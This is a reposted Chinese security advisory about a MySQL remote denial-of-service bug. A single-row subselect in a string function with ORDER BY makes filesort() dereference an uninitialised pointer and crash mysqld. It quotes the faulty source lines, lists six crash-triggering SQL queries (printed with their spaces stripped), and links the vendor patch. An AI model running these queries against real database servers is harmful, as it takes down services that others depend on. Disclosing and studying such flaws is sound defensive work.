Home >Database >Mysql Tutorial >MySQL单行子选择远程拒绝服务漏洞_MySQL

MySQL单行子选择远程拒绝服务漏洞_MySQL

WBOY
WBOYOriginal
2016-06-01 14:00:57955browse

受影响系统:

  MySQL AB MySQL

  不受影响系统:

  MySQL AB MySQL 5.0.37

  描述:

  BUGTRAQ ID: 22900

  MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。MySQL在处理特定畸形请求时存在漏洞,远程攻击者可能利用此漏洞在导致MySQL进程崩溃。

  如果MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但如果在查询中使用了 ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:

  libmysqld/filesort.cc:

  111FILESORT_INFOtable_sort;
  (...)
  117memcpy(&table_sort,&table->sort,sizeof(FILESORT_INFO));
  120outfile=table_sort.io_cache;
  (..)
  269err:
  (..)
  276if(my_b_inited(outfile))

  include/my_sys.h:

  503 #define my_b_inited(info) (info)->buffer

  这可能会触发空指针引用,导致mysqld崩溃。

  

  测试方法:

  (警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!)

  SELECTASCII((SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTTRIM(LEADINGFROM(SELECTtable_nameFROMinformation_schema.columnsORDERBY1));
  SELECTSUBSTR((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,1);
  SELECTUPPER((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRTRIM((SELECTtable_nameFROMinformation_schema.tablesORDERBY1));
  SELECTRPAD((SELECTtable_nameFROMinformation_schema.tablesORDERBY1),1,'lol');

  建议:

  厂商补丁:

  目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

  http://dev.mysql.com/downloads/mysql/5.0.html#downloads

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn